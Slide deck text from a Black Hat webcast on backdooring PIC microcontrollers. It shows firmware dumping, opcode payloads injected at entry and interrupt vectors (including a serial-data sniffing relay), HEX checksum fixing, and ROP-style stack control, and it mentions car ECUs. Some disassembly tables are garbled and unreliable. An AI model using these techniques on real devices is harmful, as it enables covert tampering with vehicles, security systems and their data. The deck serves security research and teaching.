Backdooring Hardware Devices by Injecting Malicious Payloads on Microcontrollers

August 22, 2019
Featured Speaker

Featured Presenter:

Sheila Ayelen Berta (@UnaPibaGeek)
Offensive Security Researcher
Many Android Devices Had a Pre-Installed Backdoor, Google Reveals
The list of affected devices includes Leagoo M5 Plus, Leagoo M8, Nomu S10, and Nomu S20.

The Big Hack: How China Used a Tiny Chip to Infiltrate U.S. Companies

Vodafone found hidden backdoors in Huawei equipment

Supermicro hardware weaknesses researchers backdoor an IBM cloud server

Other providers of bare-metal cloud computing might also be vulnerable to backdoors.
Microcontrollers vs Microprocessors

**Microprocessors**
Intel, AMD, ARM

**Microcontrollers**
Microchip, ATMEL, ST
Microprocessors overview

- Microprocessors = CPU
- Memories and I/O busses are physically separated.
- Usually bigger than a microcontroller.
- Greater processing capacity.

- Modified-Harvard memory organization.
- 32 or 64 bits (most common).
• Microcontrollers = CPU + RAM + ROM + I/O busses
• Smaller CPU with less processing capacity.
• Usually smaller size than microprocessors.

• Harvard memory organization.
• 16 bits (most common).
• A little stack.
Use cases

Raspberry Pi
ARM Microprocessor

Arduino UNO
Atmega Microcontroller
Is worth it?

- Physical Security Systems.
- Car’s ECU.
- Semaphores.
- Elevators.
- Sensors.
- Modules of Industrial systems.
- Home appliances.
- Robots.
- ...
MICROCONTROLLERS PROGRAMMING
Microcontrollers programming
Microcontrollers programming

**MAIN_PROG CODE**

```assembly
START

CLRF PORTD ; Clear PORTD
MOVLW B'00000000' ; All is Output
MOVWF TRISD
BSF PORTD,2 ; Turn on LED
GOTO $ ; Loop forever

END
```

ASM code to turning on a LED - (PIC)

**MPLAB X IDE**

BUILD SUCCESSFUL (total time: 313ms)
Loading code from /home/shei/MPLABXProjects/LED1.X/dist/default/production/LED1.X.production.hex...
Loading completed

.hex file (firmware)
Microcontrollers programming

Microchip (PIC) programmer software

Microchip (PIC) programmer hardware
PROGRAM MEMORY DUMP
PIC memory organization

- **PROGRAM MEMORY**
  - non-volatile

- **DATA MEMORY**
  - volatile
  - SFR
  - GPR

- **DATA FLASH/EEPROM MEMORY**
  - non-volatile
Program memory dump (step 1)

Connection from PIC microcontroller to PICKIT 3
Program memory dump (step 2)

1. Choose Project
2. Select Device
3. Select Tool
4. Read Device Memory to File

Using MPLAB X IDE to read (and dump) the program memory
Load the .hex file in the MPLAB X IDE
Code vs Disassembly (example)

ASM source code

Disassembly

OpCodes in the .hex dump
PAYLOAD INJECTION: AT THE ENTRY POINT
Program standard structure (PIC)

- **Reset Vector**: always at 0x0000 memory address
- **Interrupt Vector**: at 0x0008 and 0x0018 memory addresses
- **Program entry point**
Locating the entry point

Example 1 -- Entry point: 0x06

Example 2 -- Entry point: 0x7F84

Memory address to inject

Memory address to inject
Generating the payload #1 (PoC)

<table>
<thead>
<tr>
<th>Opcode</th>
<th>Label</th>
<th>DisAssy</th>
</tr>
</thead>
<tbody>
<tr>
<td>0000</td>
<td>NOP</td>
<td></td>
</tr>
<tr>
<td>0x9295</td>
<td>BCF TRISD,1</td>
<td>BCF TRISD, 1, ACCESS</td>
</tr>
<tr>
<td>0x8283</td>
<td>BSF PORTD,1</td>
<td>BSF PORTD, 1, ACCESS</td>
</tr>
<tr>
<td>0x9495</td>
<td>BCF TRISD,2</td>
<td>BCF TRISD, 2, ACCESS</td>
</tr>
<tr>
<td>0x8483</td>
<td>BSF PORTD,2</td>
<td>BSF PORTD, 2, ACCESS</td>
</tr>
<tr>
<td>0000</td>
<td>NOP</td>
<td></td>
</tr>
</tbody>
</table>

\[ 0x9295 = \text{BCF TRISD,}1 \quad 0x9495 = \text{BCF TRISD,}2 \\
0x8283 = \text{BSF PORTD,}1 \quad 0x8483 = \text{BSF PORTD,}2 \]

Little Endian: \[0x9592 \ 0x8382 \ 0x9594 \ 0x8384\]
Injecting the payload

Entry point at 0x28

Original program memory (.hex dump)

Payload injected at entry point (0x28)
Checksum recalculation

\[
\text{Sum(\textit{bytes on the line})} = \text{Not} + 1 = \text{checksum}
\]

Example: \( 10000000003EF00F00000959E838E836A000E956E \)

\[
10+00+00+00+03+EF+00+F0+00+00+95+9E+83+8E+83+6A+00+0E+95+6E = 0x634
\]

\[
\text{Not}(0x634) + 1 = 0xFFFF 0xFFFF 0xFFFF 0xF9CC
\]

Checksum = 0xCC
Checksum recalculation

https://www.fischl.de/hex_checksum_calculator/

Payload injected and checksum fixed
Write the program memory

Connecting to MPLAB PICKit 3...
Currently loaded firmware on PICKit 3
Firmware Suite Version: 01.52.02
Firmware Type: PIC1B8F
Programmer to target power is enabled - VDD = 9,500000 volts.
Target device PIC18F45K20 found.
Device ID Revision = 1c
Loading code from /home/shei/MPLABXProjects/LED2_X/modified-firmware.hex...
2019-07-11 21:47:35 - 03000 - Programming...
Device Erased...

Programming...
The following memory areas will be programmed:
program memory: start address = 0x0, end address = 0x7fff
configuration memory
Programming/Verify complete
Before / After (PoC)

Original

Payload injected
Injecting to a car’s ECU

Entry point: 0x152A

DEMO TIME!
ADVANCED PAYLOAD INJECTION: AT THE INTERRUPT VECTOR
Peripherals and Interruptions

- Internal timers
- A/D converters
- CCP (Capture/Compare/PWM)
- TX/RX busses
- Others
**GIE and PEIE bits**

**INTCON**

<p>| | | | | | | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>GIE</td>
<td>PEIE</td>
<td>TMROIE</td>
<td>INTOIE</td>
<td>RBIE</td>
<td>TMROI</td>
<td>INTOI</td>
</tr>
</tbody>
</table>

`BSF INTCON, GIE`  // Set GIE to 1

`BSF INTCON, PEIE`  // Set PEIE to 1

<p>| | | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>26</td>
<td>0032</td>
<td>8EF2</td>
<td>BSF INTCON, 7, ACCESS</td>
</tr>
<tr>
<td>27</td>
<td>0034</td>
<td>8CF2</td>
<td>BSF INTCON, 6, ACCESS</td>
</tr>
</tbody>
</table>

Interruptions enabled
**Interruption flags**

**INTCON**

- **GIE**
- **PEIE**
- **TMROIE**
- **INTOIE**
- **RBIE**
- **TMROI**
- **INTOIF**
- **RBIF**

**Timer0**
- Interruption Enabled
- Interruption Flag

XXIE = Interruption Enabled
XXIF = Interruption Flag

Registers **PIE1**, **PIE2** and **PIE3** have interruption enabling bits
Registers **PIR1**, **PIR2** and **PIR3** have interruption flags bits
Polling inspection

; TODO ADD INTERRUPTS HERE IF USED
INT_VEC  CODE    0x0008

MOVWF   tempw
SWAPF   STATUS,w
MOVWF   tempw

; POLLING:
→ BTFSB PIR1,RCIF
→ CALL RC
→ BTFSB INTCON,TMR0IF
→ CALL TM
→ BTFSB PIR1,ADIF
→ CALL AD
→ BTFSB INTCON, INTOIF
→ CALL IN

SWAPF   temps,w
MOVWF   STATUS
MOVF    tempw,w

<table>
<thead>
<tr>
<th>Address</th>
<th>Opcode</th>
<th>Label</th>
<th>DisAssy</th>
</tr>
</thead>
<tbody>
<tr>
<td>0006</td>
<td>FFFF</td>
<td>NOP</td>
<td></td>
</tr>
<tr>
<td>0009</td>
<td>6E00</td>
<td>MOVWF 0x0, ACCESS</td>
<td></td>
</tr>
<tr>
<td>000A</td>
<td>38D8</td>
<td>SWAPF STATUS, W, ACCESS</td>
<td></td>
</tr>
<tr>
<td>000C</td>
<td>6E01</td>
<td>MOVWF 0x1, ACCESS</td>
<td></td>
</tr>
<tr>
<td>000E</td>
<td>B9E</td>
<td>BTFSB PIR1. 5, ACCESS</td>
<td></td>
</tr>
<tr>
<td>0010</td>
<td>EC24</td>
<td>CALL 0x48, 0</td>
<td></td>
</tr>
<tr>
<td>0012</td>
<td>F000</td>
<td>NOP</td>
<td></td>
</tr>
<tr>
<td>0014</td>
<td>B4F2</td>
<td>BTFSB INTCON, 2, ACCESS</td>
<td></td>
</tr>
<tr>
<td>0016</td>
<td>EC27</td>
<td>CALL 0x4E, 0</td>
<td></td>
</tr>
<tr>
<td>0018</td>
<td>F000</td>
<td>NOP</td>
<td></td>
</tr>
<tr>
<td>001A</td>
<td>BC9E</td>
<td>BTFSB PIR1, 6, ACCESS</td>
<td></td>
</tr>
<tr>
<td>001C</td>
<td>EC2B</td>
<td>CALL 0x56, 0</td>
<td></td>
</tr>
<tr>
<td>001E</td>
<td>F000</td>
<td>NOP</td>
<td></td>
</tr>
<tr>
<td>0020</td>
<td>B2F2</td>
<td>BTFSB INTCON, 1, ACCESS</td>
<td></td>
</tr>
<tr>
<td>0022</td>
<td>EC2F</td>
<td>CALL 0x5E, 0</td>
<td></td>
</tr>
<tr>
<td>0024</td>
<td>F000</td>
<td>NOP</td>
<td></td>
</tr>
<tr>
<td>0026</td>
<td>3801</td>
<td>SWAPF 0x1, W, ACCESS</td>
<td></td>
</tr>
<tr>
<td>0028</td>
<td>6ED8</td>
<td>MOVWF STATUS, ACCESS</td>
<td></td>
</tr>
<tr>
<td>002A</td>
<td>5000</td>
<td>MOVF 0x0, W, ACCESS</td>
<td></td>
</tr>
<tr>
<td>002C</td>
<td>0010</td>
<td>RETFIE 0</td>
<td></td>
</tr>
<tr>
<td>002E</td>
<td>6A83</td>
<td>CLR PORTD, ACCESS</td>
<td></td>
</tr>
</tbody>
</table>
Polling inspection

Register 9-4: PIR1: Peripheral Interrupt Request (Flag) Register 1

<table>
<thead>
<tr>
<th>R/W-0</th>
<th>R/W-0</th>
<th>R-0</th>
<th>R-0</th>
<th>R/W-0</th>
<th>R/W-0</th>
<th>R/W-0</th>
<th>R/W-0</th>
</tr>
</thead>
<tbody>
<tr>
<td>PSPIF(1)</td>
<td>ADIF</td>
<td>RCIF</td>
<td>TXIF</td>
<td>SSPIF</td>
<td>CCP1IF</td>
<td>TMR2IF</td>
<td>TMR1IF</td>
</tr>
</tbody>
</table>

PIR1, 5 = PIR1, RCIF

Call to RC interruption routine
Memory addresses to inject a payload

<table>
<thead>
<tr>
<th>Address</th>
<th>Opcode</th>
<th>Label</th>
<th>DisAssy</th>
</tr>
</thead>
<tbody>
<tr>
<td>0000</td>
<td>FFFF</td>
<td>NOP</td>
<td></td>
</tr>
<tr>
<td>0008</td>
<td>6E00</td>
<td>MOVWF 0x0, ACCESS</td>
<td></td>
</tr>
<tr>
<td>000A</td>
<td>3D08</td>
<td>SWAPF STATUS, W, ACCESS</td>
<td></td>
</tr>
<tr>
<td>000C</td>
<td>6E01</td>
<td>MOVWF 0x1, ACCESS</td>
<td></td>
</tr>
<tr>
<td>000E</td>
<td>B9E</td>
<td>BTFS CLRF IRI1, 5, ACCESS</td>
<td></td>
</tr>
<tr>
<td>0010</td>
<td>EC24</td>
<td>CALL 0x48, 0</td>
<td></td>
</tr>
<tr>
<td>0012</td>
<td>F000</td>
<td>NOP</td>
<td></td>
</tr>
<tr>
<td>0014</td>
<td>B4F2</td>
<td>BTFS CLRF IRI1, 6, ACCESS</td>
<td></td>
</tr>
<tr>
<td>0016</td>
<td>EC27</td>
<td>CALL 0x4E, 0</td>
<td></td>
</tr>
<tr>
<td>0018</td>
<td>F000</td>
<td>NOP</td>
<td></td>
</tr>
<tr>
<td>001A</td>
<td>BC9E</td>
<td>BTFS CLRF IRI1, 6, ACCESS</td>
<td></td>
</tr>
<tr>
<td>001C</td>
<td>EC28</td>
<td>CALL 0x56, 0</td>
<td></td>
</tr>
<tr>
<td>001E</td>
<td>F000</td>
<td>NOP</td>
<td></td>
</tr>
<tr>
<td>0020</td>
<td>B2F2</td>
<td>BTFS CLRF IRI1, 1, ACCESS</td>
<td></td>
</tr>
<tr>
<td>0022</td>
<td>EC2F</td>
<td>CALL 0x55, 0</td>
<td></td>
</tr>
<tr>
<td>0024</td>
<td>F000</td>
<td>NOP</td>
<td></td>
</tr>
<tr>
<td>0026</td>
<td>9B01</td>
<td>SWAPF 0x1, W, ACCESS</td>
<td></td>
</tr>
<tr>
<td>0028</td>
<td>6E08</td>
<td>MOVWF STATUS, ACCESS</td>
<td></td>
</tr>
<tr>
<td>002A</td>
<td>5000</td>
<td>MOVF 0x0, W, ACCESS</td>
<td></td>
</tr>
<tr>
<td>002C</td>
<td>0010</td>
<td>RETIE 0</td>
<td></td>
</tr>
<tr>
<td>002E</td>
<td>6A83</td>
<td>CLR 0x00, PORTD, ACCESS</td>
<td></td>
</tr>
</tbody>
</table>

- **0x48** to inject a payload at the **RC** interruption
- **0x4E** to inject a payload at the **Timer0** interruption
- **0x56** to inject a payload at the **AD** interruption
- **0x5E** to inject a payload at the **INT0** interruption
Step 1: locate where the RC interruption routine begins (by inspecting the polling)

| 000E | BASE | BTFSC PIR1, 5, ACCESS |
| 0010 | EC24 | CALL Ox48, 0 |

Call to RC interruption routine

Ox48
RC interruption routine begins

:100000017E00F00000FFFF006E0638016E9EBAB7
:100010024EC00F0F2B427EC00F09EBC2BEC06F066
:10002000F2022FC00F00138D56E965016000936A55
:10003000F26AF28EF28EF28AF2889D8A9D8C360E12
:10004000F56E838422EF09F09E9AB3386960CF294D2
:100050000068386006C9E9C000683860006CF292B8
:100060000068386006CFFFFFFFFFFFFF85
Backdooring the EUSART communication

Step 2: Cook a payload that makes a relaying of the received data to a TX peripheral which we are able to monitor externally (example)

<table>
<thead>
<tr>
<th>MOVF</th>
<th>RCREG, W</th>
<th>// Move the received data to “W” register</th>
</tr>
</thead>
<tbody>
<tr>
<td>BSF</td>
<td>TXSTA, TXEN</td>
<td>// Enable transmission</td>
</tr>
<tr>
<td>BCF</td>
<td>TXSTA, SYNC</td>
<td>// Set asynchronous operation</td>
</tr>
<tr>
<td>BSF</td>
<td>RCSTA, SPEN</td>
<td>// Set TX/CK pin as an output</td>
</tr>
<tr>
<td>MOVWF</td>
<td>TXREG</td>
<td>// Move received data (in W) to TXREG to be re-transmitted</td>
</tr>
</tbody>
</table>

0xAE50 0xAC8A 0xAC98 0xAB8E 0xAD6E
Step 3: Inject the payload where the RC interruption routine begins

Backdooring the EUSART communication

DEMO TIME!
STACK
PAYLOAD INJECTION: CONTROLLING PROGRAM FLOW
STKPTR, TOSU, TOSH and TOSL

STKPTR = Stack Pointer register
TOSU, TOSH and TOSL = Top of Stack registers
INCF STKPTR,F  // SP increment
MOVLW 0x00
MOVWF TOSU  // TOSU = 0x00
MOVLW 0x0C
MOVWF TOSH // TOSH = 0x0C
MOVLW 0x72
MOVWF TOSL  // TOSL = 0x72
RETURN

Jump to 0x000C72

Jump to 0x000024
ROP gadgets:

0x0060 = 0xFC2A000EFF6E000EFE6E600EFD6E (last)
0x0058 = 0xFC2A000EFF6E000EFE6E580EFD6E
0x0050 = 0xFC2A000EFF6E000EFE6E500EFD6E
0x0048 = 0xFC2A000EFF6E000EFE6E480EFD6E
0x0040 = 0xFC2A000EFF6E000EFE6E400EFD6E
0x0038 = 0xFC2A000EFF6E000EFE6E380EFD6E
0x0030 = 0xFC2A000EFF6E000EFE6E300EFD6E
0x0028 = 0xFC2A000EFF6E000EFE6E280EFD6E (first)

RET = 0x1200

Gadget example at 0x0040:

<table>
<thead>
<tr>
<th>Address</th>
<th>Opcode</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0040</td>
<td>8683</td>
<td>BSF PORTD, 3, ACCESS</td>
</tr>
<tr>
<td>0042</td>
<td>ECC3</td>
<td>CALL 0x6, 0</td>
</tr>
<tr>
<td>0044</td>
<td>F000</td>
<td>NOP</td>
</tr>
<tr>
<td>0046</td>
<td>0C00</td>
<td>RETLW 0x0</td>
</tr>
</tbody>
</table>

RETURN or RETLW

DEMO TIME!
PROGRAM MEMORY PROTECTIONS
Microchip Config Directives

; CONFIG5L
 CONFIG CP0  = ON
 CONFIG CP1  = ON
 CONFIG CP2  = ON
 CONFIG CP3  = ON

Program memory dump still works
Boot and Data protection

Microchip Config Directives

```
; CONFIG5H
  CONFIG  CPB = ON
  CONFIG  CPD = ON
```

Program memory dump doesn't work
CONCLUSIONS

• Backdooring microcontrollers is possible.


• Most concepts can be extended to other vendors.

• Special thank to Sol, Nico Waisman and Dreamlab Technologies.
Questions & Answers

Sheila Ayelen Berta
Offensive Security
Researcher
@UnaPibaGeek

- To join the Black Hat mailing list, email BH LIST to: feedback@blackhat.com
- To join our LinkedIn Group: http://www.linkedin.com/groups?gid=37658&trk=hb_side_g
- To follow Black Hat on Twitter: https://twitter.com/Blackhatevents
- Black Hat’s Facebook Fan Page: http://www.facebook.com/blackhat
- Find out more at www.blackhat.com
- Next Webcast: September 19, 2019
Thank You!